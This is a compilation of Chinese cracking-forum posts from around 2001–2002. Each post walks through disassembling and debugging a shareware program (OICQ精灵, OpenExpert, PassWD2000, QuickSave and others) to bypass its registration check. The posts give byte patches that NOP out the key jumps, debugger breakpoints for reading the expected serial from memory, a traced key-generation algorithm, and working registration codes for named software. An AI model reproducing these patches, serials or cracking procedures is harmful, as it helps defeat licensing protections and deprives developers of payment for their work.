:00466DB6 99 cdq
:00466DB7 F7F9 idiv ecx
:00466DB9 3DC8000000 cmp eax, 000000C8 是否等于C8H(200)
:00466DBE 7F78 jg 00466E38
:00466DC0 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"你还能使用"
|
:00466DC2 68E06F4600 push 00466FE0
:00466DC7 8BC3 mov eax, ebx
:00466DC9 2D96000000 sub eax, 00000096
:00466DCE B905000000 mov ecx, 00000005
:00466DD3 99 cdq
:00466DD4 F7F9 idiv ecx
:00466DD6 8D55E0 lea edx, dword ptr [ebp-20]
:00466DD9 E87220FAFF call 00408E50
:00466DDE FF75E0 push [ebp-20]
:00466DE1 68F46F4600 push 00466FF4
:00466DE6 6800704600 push 00467000

* Possible StringData Ref from Code Obj ->"只需五分钟就可完成注册！"
|
:00466DEB 680C704600 push 0046700C
:00466DF0 6800704600 push 00467000

* Possible StringData Ref from Code Obj ->" 现在注册吗？"
|
:00466DF5 6830704600 push 00467030
:00466DFA 8D45E4 lea eax, dword ptr [ebp-1C]
:00466DFD BA07000000 mov edx, 00000007
:00466E02 E8BDDCF9FF call 00404AC4
:00466E07 8B45E4 mov eax, dword ptr [ebp-1C]
:00466E0A 668B0D40704600 mov cx, word ptr [00467040]
:00466E11 B203 mov dl, 03
:00466E13 E8ECEDFCFF call 00435C04
:00466E18 83F806 cmp eax, 00000006
:00466E1B 7518 jne 00466E35
:00466E1D A154214700 mov eax, dword ptr [00472154]
:00466E22 8B00 mov eax, dword ptr [eax]
:00466E24 E8EF1BFFFF call 00458A18
:00466E29 A154214700 mov eax, dword ptr [00472154]
:00466E2E 8B00 mov eax, dword ptr [eax]
:00466E30 E803FDFFFF call 00466B38

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00466E1B(C)
|
:00466E35 83EB05 sub ebx, 00000005

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00466D8D(C), :00466DA4(C), :00466DBE(C)
|
:00466E38 83FFFF cmp edi, FFFFFFFF

把以上两处关键CALL改掉就可以了!

应这样改：7E 08 改 90 90 另 7E 19 改 90 19

暴破完成,运行一下，完全成功.

暴破总觉得不爽，随决定跟出注册算法或注册码，从表面上看有要机器码,想着注册码是用机器码算的，一跟踪笑了，原来是因定注册码:

:004669F2 0578030000 add eax, 00000378
:004669F7 3BC6 cmp eax, esi
:004669F9 7446 je 00466A41
:004669FB 81FEBD56B800 cmp esi, 00B856BD===>在这里下 ? b856bd
得到注册码 '12080829'
:00466A01 7532 jne 00466A35

* Possible StringData Ref from Code Obj ->"感谢注册！"
|
:00466A03 B8D86A4600 mov eax, 00466AD8
:00466A08 E8EFF2FCFF call 00435CFC
:00466A0D 56 push esi

试着在注册页面填入12080829，注册成功.

好爽!!!!!!

http://peiyou.myetang.com
peiyou henan china

标 题:有两个注册码，一个写一个注册机就OK，另一个就是内定的注册码。大概是作者为了方便大家吧... (空)
发信人:XF[BCG]
时 间:2001-12-5 12:04:06
详细信息:


OICQ精灵1.3

 标 题:申请加入[BCG]的第二篇破文 (2千字)
发信人:ly2001
时 间:2001-10-21 15:34:59
详细信息:
软件名称：OICQ精灵1.3

软件简介：您会一时找不到聊天的话题吗？
您会因打字慢影响聊天速度吗？
您想发个漂亮的文字图案个你的网友吗？

该软件专为网上聊天者设计收集了网上聊天的
常用短语，使您不用麻烦的输入,只要进行
简单的复制和粘贴就能达到目的

注册方式：只须填写注册码即可.

1、用W32DASM打开主文件，在字串搜索中查找注册成功。来到这里：
:00453464 E843F8FAFF call 00402CAC
:00453469 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"注册成功"
|
:0045346B B984354500 mov ecx, 00453584

* Possible StringData Ref from Code Obj ->"欢迎使用注册软件，有建议请与我们联系!"
|
:00453470 BA90354500 mov edx, 00453590
:00453475 A1F4C74600 mov eax, dword ptr [0046C7F4]

2。前后看看,看看哪是跳往注册成功或失败的关键...

* Possible StringData Ref from Code Obj ->"您使用的是非注册软件,请输入注册码："
|
:00453425 B860354500 mov eax, 00453560
:0045342A E875F5FFFF call 004529A4
:0045342F 84C0 test al, al
:00453431 7478 je 004534AB
:00453433 8D55F8 lea edx, dword ptr [ebp-08]
:00453436 B89E500B00 mov eax, 000B509E ------>记下此处地址。等一下用和TRW分析

:0045343B E8C448FBFF call 00407D04
:00453440 8B45F8 mov eax, dword ptr [ebp-08] ****下D EAX |经
:00453443 8B55FC mov edx, dword ptr [ebp-04] |典
:00453446 E8FD08FBFF call 00403D48 |代
:0045344B 7536 jne 00453483 ****此处跳。将出现下边警告框|码
:0045344D 33C9 xor ecx, ecx
.
.
.
* Possible StringData Ref from Code Obj ->"警告框"
|
:00453485 B9B8354500 mov ecx, 004535B8

* Possible StringData Ref from Code Obj ->"注册码错误!请与作者联系!"
|
:0045348A BAC0354500 mov edx, 004535C0
:0045348F A1F4C74600 mov eax, dword ptr [0046C7F4]
:00453494 8B00 mov eax, dword ptr [eax]

3。用TRW在453436处设断。在处453440处下D EAX可见真码: 741534

4. 填入，注册成功，嘿! 这个作者真好.

--------------------------版权所有，翻版不究-------------------


OpenExpert1.03

 标 题:OpenExpert1.03破解 (1千字)
发信人:fwnl
时 间:2002-2-28 10:54:48
详细信息:
OpenExpert1.03破解
Crack by fwnl
软件说明:一个鼠标右键加强工具
破解工具:w32dasm TRW2000

程序用ASPack 2.11加了壳，用CASPR v1.100脱后w32dasm反编译就可看到注册码
TRw2000跟到491e36 d edx也可看到真码
:00491E17 33C0 xor eax, eax
:00491E19 55 push ebp
:00491E1A 68041F4900 push 00491F04
:00491E1F 64FF30 push dword ptr fs:[eax]
:00491E22 648920 mov dword ptr fs:[eax], esp
:00491E25 8D55FC lea edx, dword ptr [ebp-04]
:00491E28 8B8338020000 mov eax, dword ptr [ebx+00000238]
:00491E2E E839FAF8FF call 0042186C
:00491E33 8B45FC mov eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"3171-2605" ==>注册码. 哈哈
|
:00491E36 BA1C1F4900 mov edx, 00491F1C ==> d edx 得真码

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00491DF0(C)
|
:00491E3B E80020F7FF call 00403E40
:00491E40 0F8585000000 jne 00491ECB
:00491E46 B201 mov dl, 01
:00491E48 A1B8264300 mov eax, dword ptr [004326B8]
:00491E4D E8C209FAFF call 00432814
:00491E52 8BF0 mov esi, eax
:00491E54 B101 mov cl, 01

****** *** fwnl
*** ** 2002.2.28
******** **** ** *** ****** ** 长沙
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
***


PassWD2000 2.85

 标 题:PassWD2000破解过程~~~转贴~~~~~~ (11千字)
发信人:伪装者[CCG]
时 间:2001-10-10 6:16:03
详细信息:
===========================================
软件名称：PassWD2000
最新版本：2.85
大小：868,352 bytes
下载地址：http://www.passwd2000.com
功能简介：密码管理
===========================================
破解工具：Soft-ICE4.05
破 解 者：iCHBoy
联系信箱：ichboy@263.net
破解日期：2001,10,9
作者声明：欢迎转载，但请保持原作者为iCHBoy.
===========================================
Name：iCHBoy
Serial：MY4LB8AA11
===========================================
破解步骤：
1,启动sice,运行passWD,输入name:iCHBoy,serial:1234567890(10位)
2,下bpx hmemcpy
3,F12十几次，来到程序领空
4,具体代码段分析：
015F:0048D917 MOV EAX,[EBP-1C]
015F:0048D91A CALL 00403E10
015F:0048D91F CMP EAX,BYTE +0A <-- 比较密码是否为10位
015F:0048D922 JNZ NEAR 0048DE51 <-- 0048DE51 段为出错
015F:0048D928 LEA EDX,[EBP-1C] <-- 以下非关键注释略
015F:0048D92B MOV EAX,[EBX+02E0]
015F:0048D931 CALL 00443500
015F:0048D936 MOV EAX,[EBP-1C]
015F:0048D939 CALL 00403E10
015F:0048D93E DEC EAX
015F:0048D93F JL NEAR 0048DE51
015F:0048D945 LEA EDX,[EBP-1C]
015F:0048D948 MOV EAX,[EBX+02E4]
015F:0048D94E CALL 00443500
015F:0048D953 MOV EAX,[EBP-1C]
015F:0048D956 LEA EDX,[EBP-14]
015F:0048D959 CALL 00408364
015F:0048D95E LEA EDX,[EBP-1C]
015F:0048D961 MOV EAX,[EBX+02E0]
015F:0048D967 CALL 00443500
015F:0048D96C MOV EAX,[EBP-1C]
015F:0048D96F LEA EDX,[EBP-18]
015F:0048D972 CALL 00408364
015F:0048D977 MOV BYTE [EBP-05],00
015F:0048D97B MOV BYTE [EBP-06],00
015F:0048D97F MOV BYTE [EBP-07],01
015F:0048D983 MOV EAX,[EBP-18]
015F:0048D986 CALL 00403E10
015F:0048D98B MOV EDI,EAX
015F:0048D98D TEST EDI,EDI
015F:0048D98F JNG 0048D9E4
015F:0048D991 MOV ESI,01 <-- 如果想要研究一下算法，此段可要仔细了
015F:0048D996 MOV EAX,[EBP-18] <-- ESI=01,[EAX]=ICHBOY (注意：已为大写)
015F:0048D999 MOV DL,[EAX+ESI-01] <-- 循环取得每一个字母
015F:0048D99D MOV EAX,EBX
015F:0048D99F CALL 0048E158
015F:0048D9A4 ADD [EBP-05],AL <-- [EBP-05]初始为0，加
015F:0048D9A7 MOV EAX,ESI
015F:0048D9A9 AND EAX,80000001 <-- 当前第几位 and 80000001,
015F:0048D9AE JNS 0048D9B5 <-- 从而以下算法分成两个分支
015F:0048D9B0 DEC EAX
015F:0048D9B1 OR EAX,BYTE -02
015F:0048D9B4 INC EAX
015F:0048D9B5 TEST EAX,EAX <-- 1分支：EAX=0
015F:0048D9B7 JNZ 0048D9CC
015F:0048D9B9 MOV EAX,[EBP-18]
015F:0048D9BC MOV DL,[EAX+ESI-01]
015F:0048D9C0 MOV EAX,EBX
015F:0048D9C2 CALL 0048E158
015F:0048D9C7 ADD [EBP-06],AL <-- [EBP-6]+AL
015F:0048D9CA JMP SHORT 0048D9E0
015F:0048D9CC MOV EAX,[EBP-18] <-- 2分支：EAX!=0
015F:0048D9CF MOV DL,[EAX+ESI-01]
015F:0048D9D3 MOV EAX,EBX
015F:0048D9D5 CALL 0048E158
015F:0048D9DA IMUL BYTE [EBP-07] <-- EAX*[EBP-07],[EBP-07]初始为01
015F:0048D9DD MOV [EBP-07],AL
015F:0048D9E0 INC ESI
015F:0048D9E1 DEC EDI
015F:0048D9E2 JNZ 0048D996 <-- 循环，直至全部读完
015F:0048D9E4 XOR EAX,EAX
015F:0048D9E6 MOV AL,[EBP-05] <-- 最后相加结果存AL
015F:0048D9E9 MOV ECX,23 <-- ECX=23;
015F:0048D9EE XOR EDX,EDX <-- EDX存商
015F:0048D9F0 DIV ECX <-- EAX/ECX
015F:0048D9F2 MOV [EBP-05],DL <-- EDX商存[EBP-05]
015F:0048D9F5 XOR EAX,EAX
015F:0048D9F7 MOV AL,[EBP-05]
015F:0048D9FA MOV AL,[EBX+EAX+030C] <-- [EAX+030C]密码信息存放处
015F:0048DA01 MOV EDX,[EBP-14] [123456789ZRXYGAMEVIWCSBJHLFPKTOQUDN]
015F:0048DA04 CMP AL,[EDX] <-- 第一位密码：AL= 'M'
015F:0048DA06 JNZ NEAR 0048DE51
015F:0048DA0C XOR EAX,EAX
015F:0048DA0E MOV AL,[EBP-06] <-- 以下算法用途，自己看吧
015F:0048DA11 MOV ECX,23
015F:0048DA16 XOR EDX,EDX
015F:0048DA18 DIV ECX
015F:0048DA1A MOV [EBP-06],DL
015F:0048DA1D XOR EAX,EAX
015F:0048DA1F MOV AL,[EBP-06]
015F:0048DA22 MOV AL,[EBX+EAX+030C]
015F:0048DA29 MOV EDX,[EBP-14]
015F:0048DA2C CMP AL,[EDX+01] <-- 第二位密码：AL= 'Y'
015F:0048DA2F JNZ NEAR 0048DE51
015F:0048DA35 XOR EAX,EAX
015F:0048DA37 MOV AL,[EBP-07] <-- 算法
015F:0048DA3A MOV ECX,23
015F:0048DA3F XOR EDX,EDX
015F:0048DA41 DIV ECX
015F:0048DA43 MOV [EBP-07],DL
015F:0048DA46 XOR EAX,EAX
015F:0048DA48 MOV AL,[EBP-07]
015F:0048DA4B MOV AL,[EBX+EAX+030C]
015F:0048DA52 MOV EDX,[EBP-14]
015F:0048DA55 CMP AL,[EDX+02] <-- 第三位密码：AL= '4'
015F:0048DA58 JNZ NEAR 0048DE51
015F:0048DA5E MOV DL,[EBP-05] <-- 取得最后一次除的商
015F:0048DA61 MOV EAX,EBX
015F:0048DA63 CALL 0048E16C
015F:0048DA68 LEA EAX,[EBP-20]
015F:0048DA6B MOV EDX,[EBP-14]
015F:0048DA6E MOV DL,[EDX+03]
015F:0048DA71 CALL 00403D38
015F:0048DA76 MOV EDX,[EBP-20]
015F:0048DA79 MOV EAX,EBX
015F:0048DA7B CALL 0048E2F0
015F:0048DA80 LEA EDX,[EBP-0C]
015F:0048DA83 CALL 00408510
015F:0048DA88 LEA EAX,[EBP-20]
015F:0048DA8B MOV EDX,[EBP-14]
015F:0048DA8E MOV DL,[EDX+03]
015F:0048DA91 CALL 00403D38
015F:0048DA96 MOV EDX,[EBP-20]
015F:0048DA99 MOV EAX,EBX
015F:0048DA9B CALL 0048E2F0
015F:0048DAA0 MOV AL,[EBX+EAX*8+0330] <-- 取得第四位密码
015F:0048DAA7 MOV EDX,[EBP-14] <-- 和输入的密码
015F:0048DAAA CMP AL,[EDX+03] <-- 第四位密码：AL= 'L'
015F:0048DAAD JNZ NEAR 0048DE51
015F:0048DAB3 MOV DL,[EBP-06] <-- 以下简略
015F:0048DAB6 MOV EAX,EBX
015F:0048DAB8 CALL 0048E16C
015F:0048DABD LEA EAX,[EBP-20]
015F:0048DAC0 MOV EDX,[EBP-14]
015F:0048DAC3 MOV DL,[EDX+04]
015F:0048DAC6 CALL 00403D38
015F:0048DACB MOV EDX,[EBP-20]
015F:0048DACE MOV EAX,EBX
015F:0048DAD0 CALL 0048E2F0
015F:0048DAD5 LEA EDX,[EBP-20]
015F:0048DAD8 CALL 00408510
015F:0048DADD MOV EDX,[EBP-20]
015F:0048DAE0 LEA EAX,[EBP-0C]
015F:0048DAE3 CALL 00403E18
015F:0048DAE8 LEA EAX,[EBP-20]
015F:0048DAEB MOV EDX,[EBP-14]
015F:0048DAEE MOV DL,[EDX+04]
015F:0048DAF1 CALL 00403D38
015F:0048DAF6 MOV EDX,[EBP-20]
015F:0048DAF9 MOV EAX,EBX
015F:0048DAFB CALL 0048E2F0
015F:0048DB00 MOV AL,[EBX+EAX*8+0330] <-- 取得正确密码
015F:0048DB07 MOV EDX,[EBP-14]
015F:0048DB0A CMP AL,[EDX+04] <-- 第五位密码：AL= 'B'
015F:0048DB0D JNZ NEAR 0048DE51
015F:0048DB13 MOV DL,[EBP-07]
015F:0048DB16 MOV EAX,EBX
015F:0048DB18 CALL 0048E16C
015F:0048DB1D LEA EAX,[EBP-20]
015F:0048DB20 MOV EDX,[EBP-14]
015F:0048DB23 MOV DL,[EDX+05]
015F:0048DB26 CALL 00403D38
015F:0048DB2B MOV EDX,[EBP-20]
015F:0048DB2E MOV EAX,EBX
015F:0048DB30 CALL 0048E2F0
015F:0048DB35 LEA EDX,[EBP-20]
015F:0048DB38 CALL 00408510
015F:0048DB3D MOV EDX,[EBP-20]
015F:0048DB40 LEA EAX,[EBP-0C]
015F:0048DB43 CALL 00403E18
015F:0048DB48 LEA EAX,[EBP-20]
015F:0048DB4B MOV EDX,[EBP-14]
015F:0048DB4E MOV DL,[EDX+05]
015F:0048DB51 CALL 00403D38
015F:0048DB56 MOV EDX,[EBP-20]
015F:0048DB59 MOV EAX,EBX
015F:0048DB5B CALL 0048E2F0
015F:0048DB60 MOV AL,[EBX+EAX*8+0330]
015F:0048DB67 MOV EDX,[EBP-14]
015F:0048DB6A CMP AL,[EDX+05] <-- 第六位密码：AL= '8'
015F:0048DB6D JNZ NEAR 0048DE51
015F:0048DB73 MOV EAX,[EBP-0C] <-- 不要被以下代码迷惑了，只管看我注的密码判断点
015F:0048DB76 CALL 00408540
015F:0048DB7B MOV [EBP-04],EAX
015F:0048DB7E MOV BYTE [EBP-05],00
015F:0048DB82 MOV BYTE [EBP-06],00
015F:0048DB86 MOV BYTE [EBP-07],01
015F:0048DB8A LEA EAX,[EBP-10]
015F:0048DB8D MOV ECX,[EBP-0C]
015F:0048DB90 MOV EDX,[EBP-18]
015F:0048DB93 CALL 00403E5C
015F:0048DB98 MOV EAX,[EBP-10]
015F:0048DB9B CALL 00403E10
015F:0048DBA0 MOV EDI,EAX
015F:0048DBA2 TEST EDI,EDI
015F:0048DBA4 JNG 0048DBF9
015F:0048DBA6 MOV ESI,01
015F:0048DBAB MOV EAX,[EBP-10]
015F:0048DBAE MOV DL,[EAX+ESI-01]
015F:0048DBB2 MOV EAX,EBX
015F:0048DBB4 CALL 0048E158
015F:0048DBB9 ADD [EBP-05],AL
015F:0048DBBC MOV EAX,ESI
015F:0048DBBE AND EAX,80000001
015F:0048DBC3 JNS 0048DBCA
015F:0048DBC5 DEC EAX
015F:0048DBC6 OR EAX,BYTE -02
015F:0048DBC9 INC EAX
015F:0048DBCA TEST EAX,EAX
015F:0048DBCC JNZ 0048DBE1
015F:0048DBCE MOV EAX,[EBP-10]
015F:0048DBD1 MOV DL,[EAX+ESI-01]
015F:0048DBD5 MOV EAX,EBX
015F:0048DBD7 CALL 0048E158
015F:0048DBDC ADD [EBP-06],AL
015F:0048DBDF JMP SHORT 0048DBF5
015F:0048DBE1 MOV EAX,[EBP-10]
015F:0048DBE4 MOV DL,[EAX+ESI-01]
015F:0048DBE8 MOV EAX,EBX
015F:0048DBEA CALL 0048E158
015F:0048DBEF IMUL BYTE [EBP-07]
015F:0048DBF2 MOV [EBP-07],AL
015F:0048DBF5 INC ESI
015F:0048DBF6 DEC EDI
015F:0048DBF7 JNZ 0048DBAB
015F:0048DBF9 XOR EAX,EAX
015F:0048DBFB MOV AL,[EBP-05]
015F:0048DBFE MOV ECX,23
015F:0048DC03 XOR EDX,EDX
015F:0048DC05 DIV ECX
015F:0048DC07 MOV [EBP-05],DL
015F:0048DC0A XOR EAX,EAX
015F:0048DC0C MOV AL,[EBP-05]
015F:0048DC0F MOV AL,[EBX+EAX+030C]
015F:0048DC16 MOV EDX,[EBP-14]
015F:0048DC19 CMP AL,[EDX+06] <-- 第七位密码：AL= 'A'
015F:0048DC1C JNZ NEAR 0048DE51
015F:0048DC22 XOR EAX,EAX
015F:0048DC24 MOV AL,[EBP-06]
015F:0048DC27 MOV ECX,23
015F:0048DC2C XOR EDX,EDX
015F:0048DC2E DIV ECX
015F:0048DC30 MOV [EBP-06],DL
015F:0048DC33 XOR EAX,EAX
015F:0048DC35 MOV AL,[EBP-06]
015F:0048DC38 MOV AL,[EBX+EAX+030C]
015F:0048DC3F MOV EDX,[EBP-14]
015F:0048DC42 CMP AL,[EDX+07] <-- 第八位密码：AL= 'A'
015F:0048DC45 JNZ NEAR 0048DE51
015F:0048DC4B XOR EAX,EAX
015F:0048DC4D MOV AL,[EBP-07]
015F:0048DC50 MOV ECX,23
015F:0048DC55 XOR EDX,EDX
015F:0048DC57 DIV ECX
015F:0048DC59 MOV [EBP-07],DL
015F:0048DC5C XOR EAX,EAX
015F:0048DC5E MOV AL,[EBP-07]
015F:0048DC61 MOV AL,[EBX+EAX+030C]
015F:0048DC68 MOV EDX,[EBP-14]
015F:0048DC6B CMP AL,[EDX+08] <-- 第九位密码：AL= '1'
015F:0048DC6E JNZ NEAR 0048DE51
015F:0048DC74 MOV EAX,[EBP-18]
015F:0048DC77 MOV DL,[EAX]
015F:0048DC79 MOV EAX,EBX
015F:0048DC7B CALL 0048E158
015F:0048DC80 MOV [EBP-08],AL
015F:0048DC83 MOV EAX,[EBP-10]
015F:0048DC86 CALL 00403E10
015F:0048DC8B MOV EDI,EAX
015F:0048DC8D SUB EDI,BYTE +02
015F:0048DC90 JL 0048DCD5
015F:0048DC92 INC EDI
015F:0048DC93 MOV ESI,02
015F:0048DC98 MOV EAX,ESI
015F:0048DC9A AND EAX,80000001
015F:0048DC9F JNS 0048DCA6
015F:0048DCA1 DEC EAX
015F:0048DCA2 OR EAX,BYTE -02
015F:0048DCA5 INC EAX
015F:0048DCA6 TEST EAX,EAX
015F:0048DCA8 JNZ 0048DCBD
015F:0048DCAA MOV EAX,[EBP-10]
015F:0048DCAD MOV DL,[EAX+ESI-01]
015F:0048DCB1 MOV EAX,EBX
015F:0048DCB3 CALL 0048E158
015F:0048DCB8 ADD [EBP-08],AL
015F:0048DCBB JMP SHORT 0048DCD1
015F:0048DCBD MOV EAX,[EBP-10]
015F:0048DCC0 MOV DL,[EAX+ESI-01]
015F:0048DCC4 MOV EAX,EBX
015F:0048DCC6 CALL 0048E158
015F:0048DCCB IMUL BYTE [EBP-08]
015F:0048DCCE MOV [EBP-08],AL
015F:0048DCD1 INC ESI
015F:0048DCD2 DEC EDI
015F:0048DCD3 JNZ 0048DC98
015F:0048DCD5 XOR EAX,EAX
015F:0048DCD7 MOV AL,[EBP-08]
015F:0048DCDA MOV ECX,23
015F:0048DCDF XOR EDX,EDX
015F:0048DCE1 DIV ECX
015F:0048DCE3 MOV AL,[EBX+EDX+030C]
015F:0048DCEA MOV EDX,[EBP-14]
015F:0048DCED CMP AL,[EDX+09] <-- 最后一位躲在这儿：AL= '1'
015F:0048DCF0 JNZ NEAR 0048DE51

iCHBoy,2001,10,9


QQ密码侦探终结者

 标 题:菜弟作品之一！ (1千字)
发信人:freefree
时 间:2001-9-20 7:33:16
详细信息:
我的第一个作品！
作者：free
作案目标：QQ密码侦探终结者(unqqspyz)
作案工具：trw2000
过程：
一、 运行程序，填好注册码：
用户名:free
注册码:12345678

启动trw
Ctrl+N 唤出trw
bpx hmemcpy 设断
g
按“立即注册”,程序被拦截!
     bc * 取消断点
PMODULE 来到unqqspyz上空
按7次f12后(第八次出现错误提示),程序结束于:00425966

二、开始追踪
    按F10　24次来到：0044CAD6

    0167:0044CAA2 MOV EAX,[EBX+02E8]
    0167:0044CAA8 CALL 00425938
    0167:0044CAAD MOV EAX,[EBP-10]
    0167:0044CAB0 PUSH EAX
    0167:0044CAB1 LEA EAX,[EBP-14]
    0167:0044CAB4 PUSH EAX
    0167:0044CAB5 LEA EDX,[EBP-18]
    0167:0044CAB8 MOV EAX,[EBX+0300]
    0167:0044CABE CALL 00425938
    0167:0044CAC3 MOV EDX,[EBP-18]
    0167:0044CAC6 MOV ECX,0044CD0C
    0167:0044CACB MOV EAX,EBX
    0167:0044CACD CALL 0044C8C0
    0167:0044CAD2 MOV EDX,[EBP-14]
    0167:0044CAD5 POP EAX　　------->在此处d edx可得到真正的注册码
    0167:0044CAD6 CALL 00403D40------>此处为关键CALL,F8追入来到下面！

    0167:00403D40 PUSH EBX
    0167:00403D41 PUSH ESI
    0167:00403D42 PUSH EDI
    0167:00403D43 MOV ESI,EAX
    0167:00403D45 MOV EDI,EDX
    0167:00403D47 CMP EAX,EDX------->比较注册码！

    在此处d EAX得假注册码(12345678)，d EDX得真注册码(SmxaUT09YVd4dmRtVj)！

    0167:00403D49 JZ NEAR 00403DDE
    0167:00403D4F TEST ESI,ESI
    0167:00403D51 JZ 00403DBB
    0167:00403D53 TEST EDI,EDI
    0167:00403D55 JZ 00403DC2
    0167:00403D57 MOV EAX,[ESI-04]
    0167:00403D5A MOV EDX,[EDI-04]
    0167:00403D5D SUB EAX,EDX

收工：注册名：free 注册码：SmxaUT09YVd4dmRtVj

由于菜弟初学破解不足之处，请各位高兄多指点！


QuickSave

 标 题:菜弟破文之二（速存QuickSave) (3千字)
发信人:freefree
时 间:2001-9-21 7:59:14
详细信息:
我的第二个作品！（非常适合新手练习）
作者：free
作案目标：速存(QuickSave)
下载地址：http://www.esoftware.com.cn/oload.php?url=http://ftp.eware.com.cn/pub/fmanager/other/quicksave.zip
软件介绍： 速存QuickSave是一个快速保存网上资料的小工具软件。它操作简单，设置灵活，实用性强，是网友搜集网上资料的得力助手。运行QuickSave后，上网搜集资料时，你就不用再反复地“吭哧塞”（Ctrl-c复制）、“吭哧喂”（Ctrl-v粘贴）了，只要将选定的内容，随手拖到QuickSave的资料框（类似网络蚂蚁的小窗口）中，就自动保存到事先设置的目录中了。QuickSave能自动生成文件名，自动记录资料来源URL，并且最多可同时设置9个资料框，分别保存不同方面的资料，这是与其它类似软件的不同之处。我现在使用的QuickSave，就设了6个资料框：硬件、软件、ＶＢ、手机、杂文和其它，使用起来非常方便。QuickSave的资料框位于其它窗体的上面，并且可随意拖动，并不影响浏览。网上资料一拉得，搜集资料更轻松。怎么样，下载一个试试吧？

作案工具：trw2000
过程：
一、 运行程序，填好注册码：
注册码:12345678

启动trw
Ctrl+N 唤出trw
bpx hmemcpy 设断
g
按“立即注册”,程序被拦截!
     bc * 取消断点
PMODULE 来到unqqspyz上空
程序结束于:00410020

二、开始追踪
    按F10　49次来到：004101C4

0167:00410020 8BD0 MOV EDX,EAX---------------------->d eax得到输入的注册码12345678
0167:00410022 8D4DDC LEA ECX,[EBP-24]
0167:00410025 FF15CC114000 CALL Near [`MSVBVM60!__vbaStrMove`]
0167:0041002B 8D55CC LEA EDX,[EBP-34]
0167:0041002E 52 PUSH EDX
0167:0041002F 8D45D0 LEA EAX,[EBP-30]
0167:00410032 50 PUSH EAX
0167:00410033 8D4DD4 LEA ECX,[EBP-2C]
0167:00410036 51 PUSH ECX
0167:00410037 8D55D8 LEA EDX,[EBP-28]
0167:0041003A 52 PUSH EDX
0167:0041003B 6A04 PUSH 00000004
0167:0041003D FF157C114000 CALL Near [`MSVBVM60!__vbaFreeStrList`]
0167:00410043 83C414 ADD ESP,00000014

0167:004101A3 C745FC0A000000 MOV DWord Ptr [EBP-04],0000000A
0167:004101AA 8D55D8 LEA EDX,[EBP-28]
0167:004101AD 52 PUSH EDX
0167:004101AE 8B4508 MOV EAX,[EBP+08]
0167:004101B1 8B08 MOV ECX,[EAX]
0167:004101B3 8B5508 MOV EDX,[EBP+08]
0167:004101B6 52 PUSH EDX
0167:004101B7 FF914C070000 CALL Near [ECX+0000074C]
0167:004101BD 8B45DC MOV EAX,[EBP-24]
0167:004101C0 50 PUSH EAX
0167:004101C1 8B4DD8 MOV ECX,[EBP-28]
0167:004101C4 51 PUSH ECX
0167:004101A3 C745FC0A000000 MOV DWord Ptr [EBP-04],0000000A
0167:004101AA 8D55D8 LEA EDX,[EBP-28]
0167:004101AD 52 PUSH EDX
0167:004101AE 8B4508 MOV EAX,[EBP+08]
0167:004101B1 8B08 MOV ECX,[EAX]
0167:004101B3 8B5508 MOV EDX,[EBP+08]
0167:004101B6 52 PUSH EDX
0167:004101B7 FF914C070000 CALL Near [ECX+0000074C]
0167:004101BD 8B45DC MOV EAX,[EBP-24]
0167:004101C0 50 PUSH EAX
0167:004101C1 8B4DD8 MOV ECX,[EBP-28]
0167:004101C4 51 PUSH ECX-------------------------->在这d ecx得到真正的注册码！
0167:004101C5 FF15C0104000 CALL Near [`MSVBVM60!__vbaStrCmp`]
0167:004101CB F7D8 NEG EAX

由于此软件读硬件信息，在不同的机器上注册码不同，所以~~~~~~！！（刚学破解不会写注册机）
如果哪位高手有兴趣写一下它的注册机吧！


readbook1.46

标 题:readbook1.46
发信人:飞狐
时 间:2002/02/24 09:56pm
详细信息:

readbook1.46的pj(我喜欢的看书工具）
它是用PETITE2.2加壳的首先用这PROcDUMP解壳。
再用WIN32DASM分析。
:00409E53 3975FC cmp dword ptr [ebp-04], esi
:00409E56 741D je 00409E75
:00409E58 8B55F0 mov edx, dword ptr [ebp-10]
:00409E5B 8BC8 mov ecx, eax
:00409E5D 83E17F and ecx, 0000007F
:00409E60 03348A add esi, dword ptr [edx+4*ecx]
:00409E63 40 inc eax
:00409E64 3DFF0F0000 cmp eax, 00000FFF
:00409E69 A3FC744600 mov dword ptr [004674FC], eax
:00409E6E 72E3 jb 00409E53
:00409E70 3975FC cmp dword ptr [ebp-04], esi
:00409E73 7578 jne 00409EED

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409E56(C)
|

* Reference To: USER32.GetMenu, Ord:0000h
|
:00409E75 8B35A4354500 mov esi, dword ptr [004535A4]
:00409E7B C70584A84B0001000000 mov dword ptr [004BA884], 00000001
:00409E85 FF731C push [ebx+1C]
:00409E88 FFD6 call esi
:00409E8A 50 push eax
:00409E8B E864B50300 call 004453F4

* Reference To: USER32.GetMenuItemCount, Ord:0000h
|
:00409E90 8B3D98354500 mov edi, dword ptr [00453598]
:00409E96 6A00 push 00000000

* Possible Ref to Menu: MenuID_0080, Item: "k欒?(R)"
|
:00409E98 6850800000 push 00008050
:00409E9D FF7004 push [eax+04]
:00409EA0 FFD7 call edi
:00409EA2 FF731C push [ebx+1C]
:00409EA5 FFD6 call esi
:00409EA7 50 push eax
:00409EA8 E864B50300 call 00445411
:00409EAD 6A00 push 00000000

* Possible Ref to Menu: MenuID_0080, Item: "俇鑼(?)"
|
:00409EAF 6851800000 push 00008051
:00409EB4 FF7004 push [eax+04]
:00409EB7 FFD7 call edi
:00409EB9 FF731C push [ebx+1C]
:00409EBC FFD6 call esi
:00409EBE 50 push eax
:00409EBF E864B50300 call 00445428
:00409EC4 33F6 xor esi, esi
:00409EC6 56 push esi

* Possible Ref to Menu: MenuID_0080, Item: "Q
?鑼(O)"
|
:00409EC7 68AF800000 push 000080AF
:00409ECC FF7004 push [eax+04]
:00409ECF FFD7 call edi
:00409ED1 393588A84B00 cmp dword ptr [004BA888], esi
:00409ED7 744D je 00409F26
:00409ED9 56 push esi

* Possible StringData Ref from Data Obj ->"祝贺"
|
:00409EDA 6878584600 push 00465878

* Possible StringData Ref from Data Obj ->"您已经成功地注册了!"
|
:00409EDF 6864584600 push 00465864
:00409EE4 8BCB mov ecx, ebx
:00409EE6 E8258E0300 call 00442D10
:00409EEB EB39 jmp 00409F26
167:00409e53 cmp [ebp-04],esi　[ebp-04]是你输入的密码，ESI是真正的注册码
